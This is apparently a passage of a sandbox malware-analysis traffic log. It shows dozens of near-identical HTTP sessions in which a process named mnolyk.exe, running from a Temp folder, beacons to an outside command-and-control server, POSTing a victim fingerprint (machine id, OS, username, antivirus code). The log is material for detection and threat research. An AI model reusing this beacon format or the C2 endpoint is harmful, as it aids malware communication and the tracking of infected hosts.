Feb 8, 2023 21:33:18.237085104 CET	604	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:18.299196005 CET	604	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
405	192.168.2.3	50108	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:18.466114998 CET	605	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:18.529956102 CET	605	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
406	192.168.2.3	50109	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:18.709114075 CET	606	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:18.770656109 CET	606	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
407	192.168.2.3	50110	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:18.949775934 CET	607	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:19.012985945 CET	607	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
408	192.168.2.3	50111	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:19.185502052 CET	608	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:19.249695063 CET	608	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
409	192.168.2.3	50112	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:19.423662901 CET	609	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:19.488576889 CET	609	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.3	49743	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:26.963196993 CET	242	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:27.027477980 CET	242	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
410	192.168.2.3	50113	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:19.670653105 CET	610	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:19.733382940 CET	610	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
411	192.168.2.3	50114	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:19.934148073 CET	611	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:20.010862112 CET	611	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
412	192.168.2.3	50115	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:20.219232082 CET	612	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:20.285139084 CET	612	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
413	192.168.2.3	50116	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:20.457300901 CET	613	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:20.523432016 CET	613	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
414	192.168.2.3	50117	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:20.704452038 CET	614	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:20.767275095 CET	614	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
415	192.168.2.3	50118	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:20.945394039 CET	615	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:21.007967949 CET	615	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
416	192.168.2.3	50119	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:21.184098005 CET	616	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:21.249125004 CET	616	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
417	192.168.2.3	50120	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:21.420479059 CET	617	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:21.485718012 CET	617	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
418	192.168.2.3	50121	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:21.657461882 CET	618	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:21.722080946 CET	618	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
419	192.168.2.3	50122	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:21.889662981 CET	619	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:21.954339027 CET	619	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.3	49744	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:27.200875044 CET	243	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:27.266582966 CET	243	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
420	192.168.2.3	50123	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:22.133749962 CET	620	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:22.198437929 CET	620	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
421	192.168.2.3	50124	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:22.455838919 CET	621	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:22.522018909 CET	621	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
422	192.168.2.3	50125	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:22.703938961 CET	622	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:22.768277884 CET	622	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
423	192.168.2.3	50126	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:22.981983900 CET	623	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:23.047378063 CET	623	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
424	192.168.2.3	50127	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
